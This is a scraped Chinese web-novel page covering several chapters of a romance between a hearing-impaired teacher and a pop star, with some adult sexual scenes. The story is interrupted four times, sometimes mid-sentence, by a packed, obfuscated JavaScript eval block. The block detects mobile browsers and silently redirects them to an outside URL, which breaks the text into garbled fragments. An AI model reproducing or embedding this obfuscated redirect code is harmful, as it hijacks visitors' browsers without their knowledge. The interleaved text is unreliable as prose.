;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322676|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 易深:嗯? 陈屿:我要上课了。 他才不要等到寒假,他今晚就出发。 三点半的放学钟声响起,陈屿头也不回地离开了学校。 他带了一个大号的行李箱,只装了两套换洗的衣物,剩下的空间他是要拿来装特产的。 直到落地水西岛,他都没有告诉易深这件事。 一是水西岛现在涌入了大量来看易深演唱会的粉丝,易深来找他很容易被粉丝发现;二是易深现在应该忙着调整演唱会上的事宜,他不想给易深找麻烦。 陈屿落地水西岛的第一件事就是找了当地一间大排档填饱肚子,他点了满满一桌,打算吃不完的话打包带回酒店。 易深给他打电话的时候,他还忙着啃大螃蟹。 听着电话里嘈杂的声音,易深微微皱眉:“出门了吗?” 陈屿:“嗯...我在菜市场呢。” 易深看了眼挂在墙上的时钟,眉梢微挑:“这个点?” 陈屿心虚地扫了一眼四周的食客,易深当然不可能出现在这里,所以他理直气壮地哼了一声:“这你就不懂了吧!这个点菜市场会打折!!” “噢~”易深拖着长长的尾音,笑道:“原来是这样,受教了。” “嗯!我在忙,等我忙完再给你打电话吧!”陈屿害怕暴露自己,匆忙挂了电话,周围坐了许多年轻人,他还是将剩下的菜打包回去酒店继续吃。 回酒店的路上,陈屿还买了两个新鲜的椰子。 当他拎着大包小包等待电梯的时候,听着两位同乘旅客的话,心脏提到了嗓子眼。 “好想知道易深的前男友会不会来。” “明天看看2排28号有没有人不就知道了?” “也不知道他们复合了没有。” “应该没有吧,如果复合了的话,易深不得发十篇八篇小作文啊。” “对啊,所以大家都说他又被甩了诶。” “也不知道前男友是什么天菜级别的神仙,居然能把易深迷成这样。” 等她们走出了电梯以后,陈屿松了口气。 幸好易深多给了他一张票,他有猜过如果他来看演唱会还是坐的2排28号的话,到时候肯定会被粉丝围堵。 他这次穿的衣服也跟上一次截然不同的风格,之前那套衣服已经被他塞到柜子底下了,不打算再拿出来。 而且这次他不打算把自己包得严严实实的,他不想因为装扮太奇怪反而惹人注目,他这次只是简简单单地戴了顶棒球帽。 易深给他再次打来电话时,陈屿还是在啃螃蟹,只是他换了个地方啃。 易深:“怎么不视频了?” “我在吃饭,不太方便。”陈屿哪敢跟他视频啊,这背景不对,他一眼就能看出来了。 易深:“平时吃饭也在视频啊。” 陈屿:“你好黏人啊,明天再视频吧。” 易深:“这么晚才吃晚饭吗?” 陈屿:“嗯...所以你也可以理解成我在吃宵夜。 ” 易深:“晚饭没吃饱吗?” 陈屿:“嗯,看见你发来的照片忍不住流口水,又去给自己做了点吃的。” 易深:“生气了吗?” 陈屿:“那倒不至于。” 易深:“我还以为你是生气了才不跟我视频的。” 陈屿:“那我要是说我生气了,你要怎么办?” 易深那边沉默了一会,随后,低沉的笑声萦绕他的耳边,带着几分撒娇的味道:“那我只好求求你啦,不要生我的气,好不好嘛,宝宝。” 陈屿整张脸迅速涨红,忍不住想起前几天易深抱着他轻声哄他的模样,磕磕巴巴地说道:“犯、犯规,罚你一会再给我语音发一条,我我我有点事,我先挂了。” 在他挂断电话之后,易深给他发了好几条语音。 [演唱会结束后,我来榆城找你?] [好不好嘛,宝宝。] [我好想你。] [我买了很多小正方形。] [宝宝要跟我练习一下吗?] 陈屿:拉黑警告!拉黑警告!! 15. 第 15 章 十二月的水西岛,天气晴朗。 陈屿站在阳台上,面朝大海,迎面扑来的海风带着一股潮湿又咸腥的味道。 可能是换了陌生的环境,他一整晚都睡得不太好。 水西岛的气温要比榆城高一些,冬天的阳光温和舒适,晒晒太阳感觉整个人都舒服了。 易深一大早就给他发了几条消息,其中还有个在排练舞蹈的小视频。 陈屿来来回回看了好几遍,心中闪过无数个念头,思绪万千。 这曾经也是他梦想的人生镜头。 有那么一瞬间,他在想,如果此时此刻,被伴舞拥簇的人是他,那又会是怎样的一幅光景。 陈屿垂眸看着手机屏幕里的易深,无声地笑了下。 易深也是努力了很久才走到今天的。 而他,就算没有失去听力,也未必能达到如今易深在乐坛的地位。 当年那个雨夜,如果他不是被王叔和王婶及时送去医院,说不定他的坟头草都三米高了;如果陈康盛没死,他也不会有现在这样自由自在的生活,而且他很有可能会做出什么傻事来。 陈康盛是他的噩梦,时至今日,都还会偶尔出现在他的梦境里。 他的人生从来都没有一帆风顺,走向梦想的道路布满了荆棘。 17岁的他连温饱都没法解决,梦想这个词离他太遥远了,只是这样虚无缥缈的“梦想”给了他活下去的勇气罢了。 或者说,他只是把梦想当成借口留在易深身边,所以比起失去听力无法继续他的音乐梦想更令他害怕的是:他好像没办法再待在易深身边了。 比起家暴,陈屿更痛恨的是,陈康盛击碎了他留在易深身边的美梦。 陈屿张开双手,任由海风穿过他的胸膛,那是一种自由的感觉。 他输入那串熟悉的号码,电话过了很久才被接起。 “今天这么早就起来了?怎么不多睡一会?” 易深的声音有些喘,带着一丝惊喜的笑意传入陈屿的耳中,他垂眸笑了笑,没有说话。 “这个时间打给我...”易深顿了顿,轻笑一声:“我可以理解成你想我了吗?” 陈屿唇角牵起,没有否认他这句话,而是大方地承认:“嗯,每次给你打电话都是因为我想你了。” 易深脸上笑容瞬间退去,“做噩梦了吗?” 听着他语气里满满的心疼,陈屿调侃了句:“是啊,可惜你不在身边。” 易深带着自责的口吻,愧疚地说道:“对不起,每次你需要我的时候,我都没有及时出现在你的身边。” 陈屿沉默了几秒,心脏传来一阵密密麻麻的疼意,眼眶微红,努力将那股涌上喉咙的酸涩咽了下去,“我跟你开玩笑的,我没有做噩梦,只是单纯地想你了。” 易深轻轻开口:“等演唱会结束后我就直接回榆城。” 陈屿:“这样太累了,休息好了之后再过来吧。” 易深没有说什么,只是转移了话题:“一会我让小林给你开个直播好不好?” 陈屿无奈失笑:“喂,这是不允许的。” 易深却表现得无所谓:“没关系,我只是给你一个人开的直播。” 陈屿哭笑不得:“别闹,你吃早餐了吗?” 易深:“还没有。” 陈屿:“听说水西岛的海鲜粥不错。” 易深:“所以是要滴滴代吃吗?” 陈屿嘟囔了句:“我要亲自尝尝,才不要什么代吃。” “什么?”易深没听清他说的话。 “我要去吃早餐了,你就继续努力吧。”陈屿伸了个懒腰,挂断了电话。 没过多久,易深就给他发来一张海鲜粥的照片。 易深:好吃。 陈屿看着那张照片,低喃道:“还真是有求必应啊。” 从他们重逢那一刻开始,他就能感觉到易深对他有着很严重的分离焦虑。 或许是他有前车之鉴,易深总担心,他会悄无声息地离开第二次。 所以易深对他说话总是小心翼翼的,他只要在易深面前表现得稍微有点不高兴,易深就会开始反省自己是不是做错了什么。 想把他带在身边,想亲自照顾他,又害怕他会多想。 这样矛盾的想法总是让易深欲言又止。 陈屿想了很久,把早已编辑好的那封离职信发送了出去,喃喃道:“今天的天气真好啊。” …… …… 晚上七点。 体育馆灯火通明,人山人海。 陈屿虽然已经有了一次看演唱会的经验,但仍然表现得像个新兵蛋子。 在排队检票的过程中,他听了一路的八卦,大部分的话题还是围绕易深来展开的。 “我都怀疑官号换运营了,工作室最近也表现得很积极。” “所以这才奇怪啊,让我有一种他们是打算干完这一票就退圈的感觉。” “你可别乱说啊,易深不可能退圈吧?” “易深的微博和歌全是写给前男友的,现在人找到了,他会有退圈的想法很正常啊。” “我有朋友是内部人员,听说这次演唱会之后,易深打算休息一段时间,他的行程到水西岛就结束了。” “我看到有人截了丽姐的朋友圈,她好像有在准备旅游的计划。” “哪来那么多内部人员,反正我不信。” 休息?退圈? 退圈这件事应该是假的。 但是休息...易深好像前几天有跟他说过,他还以为只是休息两三天,所以并没有多问。 一会演唱会结束后再问问易深吧。 场馆的每个座位上都放着应援棒和一朵玫瑰花。 更惹人注目的是2排28号的座位上放的是一整束的玫瑰花。 周围的粉丝都跑过去拍照打卡了。 这是...易深给他送的? 怎么还搞特殊上了? “这是易深送给前男友的花吧?” “前男友今天也会来吗?” 陈屿咬牙切齿地给易深发了消息:显眼包!看你做的好事!! 易深:怎么了? 陈屿撤回了一条消息。 陈屿:没事,演唱会准备开始了吧? 陈屿:加油哦。 易深:??? 陈屿压了压棒球帽的帽檐,紧张地坐在座位上玩手机。 上次那个视频没拍到他的正脸,所以不会有人把他认出来。 想到这里,陈屿整个人都放松了下来。 “你好?” 陈屿被吓了一跳,惊慌失措地看着坐在他旁边的女生,他的反应有些大,让女生反而有些不好意思地笑了笑:“我吓到你了吗?” 陈屿:“没事,我刚才在想事情而已。” 两人随便聊了几句,陈屿表现得有些社恐,女生讪讪地结束了话题,他反而松了口气。 他原本就不爱跟陌生人打交道,连对别人的搭讪都显得很惶恐。 陈屿在榆城呆了五年,跟他关系好点的也就办公室的几位同事,还有住在同一个小区里偶尔能打几声招呼的邻居。 随着年纪越来越大,他好像更喜欢一个人呆着,没有无效的社交,也不需要有效的社交。 幸好是这种尴尬的感觉没有持续多久,易深的出场点燃了全场的气氛。 陈屿也跟着其他人一起挥舞荧光棒应援,他僵硬的动作简直就像个NPC。 易深步步靠近,向所有观众打招呼的时候,目光扫过2排28号,座位上没有人,只有那束他亲自挑选的玫瑰花。 即使早已知道结果,但他还是有几分失落。 接着目光一转,便看到了坐在第一排的陈屿。 四目相对,陈屿笑眯眯地朝他挥了挥手中的荧光棒。 易深愣了愣,随后惊喜地笑了笑。 “易深刚才是不是在看这里?” “我也觉得他是在看我们这里。” “会不会是在看2排的28号?” “人不是没有来吗?那他在看什么?” “可能是认识的人吧,毕竟我们这是前排。”陈屿心虚地加入了他们的聊天,试图洗清自己的嫌疑,让他们把目光放在其他人身上。 “也是,你说得有道理。” 直到演唱会进入最后一个环节,易深坐在舞台中心,背着一把吉他,脸上的汗水早已将他的头发浸湿,他低着头喘了好久,直到他的呼吸变得平稳,才缓缓开口:“今天给大家带来一首新歌。” 甜蜜的歌词让观众不停地在尖叫。 陈屿完全愣在了那里。 [感谢你再次选择我,感谢你再次回到我的身边。] 这首歌的歌词...分明是在向他公开示爱啊。 演唱会结束后,陈屿无情地拒绝了易深见一面的想法,拖着行李箱直奔高铁站。 易深:我好想见你。 易深:委屈小狗.jpg 陈屿:摸摸头.jpg 陈屿:我们榆城见吧。 易深:那你路上注意安全,回到家要给我发信息。 陈屿:知道啦,你先去忙吧。 要坐两个小时的高铁,陈屿刚打算睡一觉,系统给他推送了微博动态。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322677|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > @易深工作室:演唱会圆满结束...今年的行程....为了能够产出更好的作品...归期未定。 [小作文给个零分吧,吓得我以为易深要退圈了。] [什么时候把新歌放出来啊!我还没听够啊!!] [回归会带上新专辑?哇塞~] [戒指是男朋友送的吗?狗头.jpg] 陈屿看着前排眼熟的几个账号,点进了粉丝群,里面已经哭成一片了。 路人甲:你们在哭什么? 路人甲:小猫鬼鬼祟祟.jpg 土豆蒸马铃薯:我怀疑易深想退圈了。 路人甲:应该没有吧。 路人甲:只是暂时休息一段时间。 西红柿炒番茄:哥你也去看演唱会了吗? 路人甲:[图片] 土豆蒸马铃薯:等等,哥你这角度,你是内场前排? 路人甲撤回了一条消息。 黄瓜焖青瓜:撤回也没用了!我都看见了!! 西红柿炒番茄:嫉妒.jpg 包菜凉拌卷心菜:那个...你们要不先去看看热搜? 包菜凉拌卷心菜:热搜已经乱成一锅粥了。 通菜也是空心菜:控评已经控不过来了。 陈屿果断退出群聊,忐忑地点开了热搜榜,扫了一眼榜单没有他被扒的话题后,稍稍放松下来。 #易深新歌甜甜的 #易深终于写了首甜歌 #2排28号没来 #易深无名指的素圈 #易深疑似与前男友复合 [天啊!有生之年!我居然在演唱会现场听到了易深唱甜甜的情歌!!] [虽然说是暂时休息一段时间,现在看来是想陪男友吧?] [支持支持!希望回归的新专辑能多出几首这样甜甜的歌。] [盲猜戒指也是男朋友送的吧?是公开恋情的意思吗?] [是宣示主权的意思哈哈哈] [今晚易深的状态真的很好,好久没有看他这样活力满满的样子,应该很开心吧。] [简直杀疯了好吧,黑子可以闭嘴了。] @是豇豆不是四季豆:天啊啊啊!易深点赞了我在工作室微博下面的评论!!是他本人!!! 【截图:易深赞了你的评论】 @是豇豆不是四季豆:有生之年!第一次被喜欢的爱豆翻牌了!!! @是豇豆不是四季豆:所以戒指是男朋友送的!他们真的复合了!! @是豇豆不是四季豆:我真的好激动啊!谁懂! 陈屿也跟着点赞了这条微博。 @路人甲:今天很开心,新歌也很好听。 陈屿放下手机,看着窗外的夜景,无声地笑了笑。 心里就像放了一颗化开的糖,甜到了心底。 转了好几趟车之后,终于在两点多的时候回到了他的老破小。 陈屿累得直接倒在了沙发上,幸好明天是周日,不用早起上班。 他连行李箱都没收拾,只是简单地洗了个澡就爬上床睡着了。 凌晨三点的时候,他的手机屏幕亮了下。 那时候的陈屿睡得正酣。 又过了半小时,门口传来门锁转动的声音,但陈屿没有戴助听器,所以也不会注意到屋里进了人。 易深绕过客厅堆放的杂物,打开了那扇半掩的房门。 陈屿睡得熟,连易深亲他的脸都没发觉。 易深从浴室里出来的时候,他还在睡。 直到易深将他抱进怀里时,陈屿才半睡半醒地看了他一眼,含糊道:“你怎么来了?” 易深把他压在身下,亲了亲他的睡得泛红的眼尾:“不是说好了演唱会结束后就来榆城吗?” 陈屿难以抵挡浓重的睡意,呢喃细语:“怎么不休息一下再来?唔...我好困啊。” 易深沿着他的耳垂一路吻到他的锁骨。 陈屿感觉到有股痒意,迷迷糊糊地想要推开他的脑袋,“别闹。” 不知道易深说了什么,他没戴助听器根本听不见易深说话。 而且他睡衣上的扣子也不知道什么时候被易深全部解开了,身上传来湿润的触感还有被轻轻啃咬的酥麻感,让陈屿清醒了些,“轻一点。” 易深的力道放轻了些。 陈屿脑袋沉沉的,疲惫地闭上了双眼。 就在易深咬着小四方形,准备撕开的时候,躺在床上的人忽然传来一阵轻轻的鼾声。 他无奈地笑了笑,把东西放了回去,像上次那样,从背后紧紧拥住陈屿,蹭了蹭他的腿。 16. 第 16 章 下午三点。 阳光西斜,懒洋洋地洒进卧室的一角,晒得房子暖烘烘的,驱散了冬日的寒冷。 陈屿疲惫地眨了眨双眼,看着眼前白色的墙漆,视线变得模糊。 身体被身后的人牢牢箍在怀里,数个小时保持着同样的姿势让他的整个左臂都在发麻,累得不想动弹。 易深的脸还埋在他的颈窝处,呼吸的热气平稳地洒落在他的皮肤上。 有点痒。 他轻轻动了动,想缓解一下发麻的左臂。 下一秒,易深在睡梦中无意识地抱着他换了个姿势,他现在大半个身子都压在了易深身上。 最要命的是,他睡衣上的扣子好像在他昨晚入睡之前就被全部解掉了,他和易深现在是肌肤相贴的状态。 这样危险的姿势让陈屿头皮发麻,尤其是当他发现身下柔软的肌肉开始逐渐僵硬时,他慌乱支着易深的身体想要起来时,正好对上了易深的双眼。 陈屿眨了眨眼:“你什么时候醒的?” “你醒了之后。”易深帮他把助听器小心翼翼地戴上耳朵,“这样戴对吗?会不会疼?” 陈屿:“就跟你戴耳机一样,不疼的。” 易深摸了摸他的耳廓,顺着他的后颈一路下滑,嗓音比往日更沉了些:“要不要再睡会?” 温热的指腹落在陈屿的腰肢上,摩挲打转,酥酥麻麻的感觉蔓延至他的每一寸肌肤,他心头一颤,焦躁不安地躲闪着。 “好痒,你别摸了。” 易深吮咬着他的耳垂,急促的呼吸声落在他的耳畔,在他耳边低语,说着黏糊的情话。 陈屿心头惊颤了下,下意识地要与他拉开距离。 易深将他拽了回去。 “嗯呃——”陈屿整张脸以肉眼可见的速度变红,不知所措地揪着枕头的一角。 这样的方式跟*有什么区别...陈屿咬着下唇瓣,整张脸红得快要冒烟了。 易深细细地吻着他的后颈,呼吸声越来越重。 陈屿指尖绷紧,在易深的怀中轻轻颤栗。 易深的手指有一层很薄的茧,跟他DIY时的感觉很不一样。 不知过了多久,随着易深的一声低吼,他的脑袋昏昏沉沉的,瘫软在易深怀里。 两人抱着温存了许久,一番折腾过后,他现在整个人趴在了易深身上。 拍掉那只落在他胸前不老实的手,陈屿试图从他身上起来,被他扣住了腰,又趴了回去。 他决定了,以后买睡衣款式得买T恤型的,不能给易深解他衣服扣子的机会。 感觉到腿间的黏腻,陈屿有些难受地控诉他:“你怎么不穿衣服睡觉?” 易深回答得很从容:“我没找到我的那件睡衣。” 陈屿想起被新衣服塞满的衣柜沉默了下,易深的那套睡衣也不知道被他塞到哪里去了。 “你进门的时候看见客厅里堆满的快递箱没有?” “别再寄东西过来了,家里已经放不下了。” “嗯,我看见了。”易深抱着他蹭了蹭,声音很轻,快要睡着了。 陈屿赶紧掰开箍在他腰间的手,说:“我要起来洗个澡,你继续睡吧。” 易深:“我也要洗,一起?” “不行!”陈屿想都没想直接拒绝了,他的腿还疼着呢,也不知道破皮了没有。 17岁的易深牵个手都要脸红,接个吻都只知道唇瓣贴着唇瓣,连伸个舌头都不会,特别纯情。 28岁的易深有机会就跟他贴贴,没机会也会找机会,花样又多,看起来跟个情场老油条一样。 陈屿支着身子爬了起来,在下床的时候被易深故意绊了一下,整个人摔在了易深的怀里。 易深:“小心点。” 陈屿:“……” 所以,28岁的易深脸皮有砧板那么厚。 陈屿清清爽爽地从浴室里出来,闻着卧室里那股还未消散的腥膻味道皱了皱眉。 他把卧室的窗户打开,把易深赶去了浴室,然后他把床单被褥都拿去洗了。 陈屿没找到易深的睡衣,只好选了套相对宽松点的衣服给了他。 易深俯身在陈屿耳边说了句:“裤子有点紧。” 陈屿看了他一眼,微微皱眉:“哪里紧了,不是挺宽松的吗?” 易深:“我说的是内裤。” 陈屿的脸色瞬间涨得通红,气呼呼地看着他:“你才小呢!” 易深怔了怔,唇边绽开一抹笑意:“我不是这个意思。” 陈屿怒瞪着他:“有什么区别?!” 易深:“。” 不敢顶嘴。 陈屿踢了踢脚边的快递箱子,懊恼地看着他:“这些都是你寄过来的东西。” 易深:“都是些小零食,很快就能吃完的。” 陈屿不满地嘟囔了句:“到时候搬家多麻烦。” 易深捕捉到他的字眼,惊讶道:“要搬家了吗?” 陈屿:“是有这个想法。” 易深:“有看中的房子了吗?” 陈屿的眸光在他身上转了转,笑道:“听说你在平江有栋大别墅。” 易深点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322678|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,小心翼翼的目光中带着几分惊喜:“别墅靠近湖边,周围都是花花草草,家里有独立的游戏房,书房,健身房,你想住几楼的房间都可以,不喜欢装修风格的话,我可以让人按照你喜欢的风格重新装修一下。除了那栋房子,我在别的地方也有房产,或者说,你可以选个喜欢的城市,我们一起搬到那里生活。” 陈屿抱着他的脸亲了一口:“就在平江吧。” 易深低头望着他,目光温柔似水:“打算什么时候搬?” 陈屿:“我的工作要到这个学期结束为止。” 他们学校是元旦放假,所以他还有小半个月整理行李。 在榆城住了五年,他对这间老破小很有感情。 这是他第一个可以称为“家”的地方,虽然房子只是租的,但是生活不是。 易深见他舍不得,提议道:“可以找房东问问房子出不出售,我们买下来,行李也不用搬,可以随时回来住几天。” 陈屿摇摇头,一旦离开榆城,他应该没有什么机会再回来了。 他把从水西岛带回来的特产整理了一下,泡了点瑶柱和蚝豉,今晚拿来煮汤。 看着在帮他整理行李的易深,陈屿忽然说了句:“我很快就要失业了。” “唉。” “到时候我就变成无业游民了。” 易深:“我可以给你找份合适的...” 他的话还没说完,陈屿连忙打断了他:“然后我就每天睡到自然醒,起来点几份外卖,我会发代付链接给你,吃完饭我想玩游戏就玩游戏,或者追剧看看小说什么的,如果你要给我生活费的话,我也可以做好晚饭等你回家。” 易深把话咽了回去,垂眸失笑:“这就是你想要的退休生活吗?” 陈屿点点头:“我的梦想就是中彩票,早日过上养老生活,如今我在三十岁之前就实现了这个目标,那能不爽吗?” 易深:“这也是我想要的生活。” 陈屿:“嗯?” 易深走到陈屿身后,抱住了他:“我很高兴能和你一起生活,我希望每天醒来时,都能看见你在身旁,也希望下班回家时能第一时间看见你。我没有想过让你来给我当助理什么的,那样太累了,我只想让你呆在家里,什么都不用干,每天开开心心的就好。家里有阿姨打扫卫生和做饭,也有司机方便你出行,你觉得无聊的话,我们可以养条狗或者养只猫,你只要待在我身边就好了。” 陈屿靠在他身上,不禁笑了笑:“你要养我一辈子吗?” 易深捏着他的下巴亲了一口:“求之不得。” 17. 第 17 章 傍晚。 陈屿在厨房忙着做饭。 为了不让易深帮倒忙,他让易深去把客厅里的快递都拆了。 睡了一天,两人都没什么胃口,陈屿就简单地煮个紫菜海鲜汤面应付一下就算了。 总不好让易深跟着他一起吃泡面。 陈屿:“我看见你工作室发的微博了,工作已经全部处理好了吗?” 易深:“嗯,就剩下年尾的水果台颁奖活动。” 陈屿:“你会获奖吗?” 易深:“会。” 陈屿:“哇,你这么自信的吗?” 易深:“嗯。” 陈屿想起往年看过的颁奖典礼,有些好奇:“参加这种活动会不会很无聊?” 易深:“会,而且还要保持表情管理,形象管理,不能玩手机,还要坐两个小时,无趣又烦闷。” 陈屿忍不住笑道:“看出来你很讨厌参加这个颁奖活动了。” 易深恹恹地应了声:“嗯。” 陈屿:“那颁奖活动在几号?” 易深:“12月28号,怎么了?” “这样啊。”陈屿假装不经意地问了句:“那你今晚几点回平江?” 易深:“我不回平江。” 陈屿眨了眨眼:“嗯?” 易深把衣服叠得整整齐齐放进衣柜,看着倚在厨房门口的他,说道:“我可以在这里住一段时间吗?” 陈屿惊讶地看着他,笑道:“你是说你要跟我挤在这间老破小吗?” 易深:“可以吗?” 陈屿装作一副很为难的样子:“唔...让我想想。” 易深:“我不会给你添麻烦的,我还可以付房租。” 陈屿:“你放假不应该在家里好好休息吗?我这里什么都不方便。” 易深:“我给自己放假就是为了要来榆城找你。” 如果他要回平江的话,那干脆就一直工作好了,有什么区别。 陈屿:“那我也陪不了你啊,我明天就要上班了,你要一个人呆在家里吗?” 易深点点头:“我可以在家里给你打扫卫生,帮你把房子收拾得整整齐齐,还可以给你做饭,你每天下班回家都能吃上热腾腾的饭菜。” 陈屿:“等等...你说你要给我做饭?” 易深沉默了下,随后说道:“我可以学,我最近关注了几个美食博主。” “...”他敢做,陈屿都不敢吃,“算了,你还是在家等我给你打包回来吧。” 他们学校的饭菜就做得挺好吃的,干净又卫生,他不想开火的时候都是在饭堂吃的。 易深:“所以陈老师是同意了吗?” 陈屿无奈地笑了笑:“不要乱叫。” 易深:“宝宝,我会乖乖在家里等你回来的。” 陈屿扶额:“喂!” 易深:“我知道了。” 在晚饭做好之前,他们终于把客厅收拾了出来,易深除了给他寄了很多零食以外还有各种补品,他刚好拿去给邻居们送礼,顺便感谢这几年邻居们对他的照顾。 他的房子租到12月31日,听说他要搬走,邻居们都很舍不得。 他送完礼回家的时候,手上还多了几袋邻居们送给他的瓜果蔬菜。 陈屿不禁笑了笑,他总觉得是“老师”这个职业给了他太多的光环。 吃完晚饭,陈屿带着全副武装的易深去了一趟超市。 晚上九点多,超市都快关门了,大家都在抢打折的蔬菜和肉。 “便宜大甩卖了,生菜一块钱一斤,豆角五块钱一斤,荷兰豆……” 陈屿指了指正在熟食区吆喝的售货员,拽了拽易深的衣角,脸上闪过一丝得意的笑容:“我没骗你吧,这么晚来超市买菜会打折!” 易深:“所以你那天是在买菜吗?” 陈屿:“怎么可能,我那天是在吃饭。” 易深停下脚步,默默地看着他。 陈屿:“嗯...不想给你添麻烦,所以才没有告诉你我来了水西岛。” 易深脸色有些难过:“你怎么会觉得你是我的麻烦?” “...”陈屿憋了半天,于是一本正经地胡说八道:“所以我是骗你的,单纯只是为了吃独食,我还拍了很多照片打算发给你的,结果都忘了,一会发给你看看好吗?” 易深自然不相信他说的鬼话。 陈屿看着四周没人,主动亲了亲他的唇角:“还有很多我的自拍照,你不想看看吗?” 易深的脸色缓和了些,陈屿牵着他的手,把他带到了卖内衣裤的区域。 看着货架上内裤,两人四目相对,沉默地看着彼此。 陈屿指了指上面的裤衩子说道:“你不是说穿我的内裤不合身吗?你还要在榆城住一段时间,总不能不穿裤衩子吧?” 在他面前遛鸟什么的...太过分了。 易深微微扬唇:“你帮我挑?” 陈屿暗暗地掐了他一把:“你想耍流氓?” 最后还是他被易深哄着给随便挑了几条。 陈屿看着那几条红色的内裤,强忍着笑意,说:“很适合你,穿红内裤一直有民间说法的,可以趋吉避凶。” 易深似笑非笑地看着他:“是吗?” 陈屿疯狂点头:“那当然了,本命年就是要穿红内裤的,不是本命年也可以穿,而且我查了你今年犯太岁,更要穿点红色的衣物了。” 易深薄唇微勾:“我们是同一年出生的不是吗?那你今年也是犯太岁。” 陈屿噎了下:“所以我过年的时候已经穿过红内裤了,现在都十二月了,那红内裤都被洗衣机洗烂了好几条了。” 易深有些遗憾地看着他:“你的皮肤这么白,穿红色一定很好看,要不你也买一条?” “说什么呢,明明是你的皮肤更白。”陈屿把他手上那条小两个尺寸的内裤放回了货架上,连忙推着购物车去了隔壁卖睡衣的区域,“快来挑一下吧,虽然家里的衣服已经够多了,但是那些衣服的版型睡觉穿着不舒服,还是买几套睡衣吧?” 易深表现得有些为难,“可我不喜欢穿睡衣,我更喜欢裸睡,所以不买也可以。” 陈屿:“裸睡?!” 易深:“我在家的时候就是裸睡的。” 陈屿看向他的目光充满了怀疑:“我怎么感觉你是骗我的。” 是故意的吧? 他怎么不记得易深有这个癖好? 他和17岁的易深又不是没在一起睡过。 他记得易深连睡觉都穿得严严实实的,睡衣的扣子都扣到最上面那颗。 裸睡??? 那是中文吗? 易深:“那时候还小,比较害羞。” 陈屿:“所以现在是...?” 易深淡定地解释:“现在长大了,可以释放天性,想裸睡就裸睡。” 陈屿幽幽地看了他一眼,“在我家就得穿睡衣睡觉。” 他们同居的这段时间肯定是要一起睡的,为了不要擦枪走火,裸睡什么的想都别想。 易深乖巧地应了声:“好的。” 陈屿故意给他选了几套可爱风格的睡衣,稍微正常点的纯色睡衣还挑了个粉色的。 易深看着他兴致勃勃给自己挑睡衣,目光带着几分玩味,并没有阻止。 反而让陈屿有种被猎物盯上的感觉,心里毛毛的,他怀疑易深在打什么坏主意,于是有些心虚地说了句:“我挺喜欢这样可可爱爱的风格,不好看吗?你不喜欢吗?” “喜欢。”易深回答得很果断。 陈屿满意地笑了笑:“有什么想吃或者想买的吗?没有的话我们就回去了。” “哎,那是不是陈老师?” 易深和陈屿同时看向身后不远处。 陈屿看着那两道熟悉的身影,惊讶地瞪大了双眼,他拉低了易深的帽檐,捂着他的脸,急急忙忙地将他往外面推去:“你先到车里等我。” 怎么会这么倒霉刚好碰上夏老师和廖老师。 他相信以两位老师对爱豆的狂热程度能当场尖叫,他不想让易深这么快暴露在别人面前。 等易深走了之后,陈屿松了口气,推着购物车看向两位老师,看着她们手上拎着大包小包,还推着行李箱的样子,笑道:“你们这是刚从水西岛回来?” 夏老师:“陈老师你也来买东西...啊?!” 夏老师看了一眼他的购物车,被吓得花容失色,声音惊颤:“陈老师的爱好有点特别啊。” 陈屿看了一眼购物车里的粉色hellokitty睡衣,还有不知什么时候塞到里面的性感蕾丝吊带裙,感觉自己在社死的边缘游走,他尴尬地笑了笑:“猛男就是喜欢粉色,请夏老师替我保密。” 夏老师仔细地将他从头到脚打量了一眼,表示深深地怀疑:“猛男?” 陈屿腆着脸,丝毫没有觉得有任何不好意思的地方:“难道我不像吗?” 廖老师忍不住笑道:“陈老师还是那么幽默。” 陈屿看着她,微微一笑:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322679|183160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廖老师风采依旧。” “你俩别商业互吹了。”夏老师往他身后看了看,疑惑道:“对了陈老师,我刚才明明看见你和一个帅哥站在一起的,怎么转眼就不见了。” 陈屿很肯定地说道:“你看错了。” 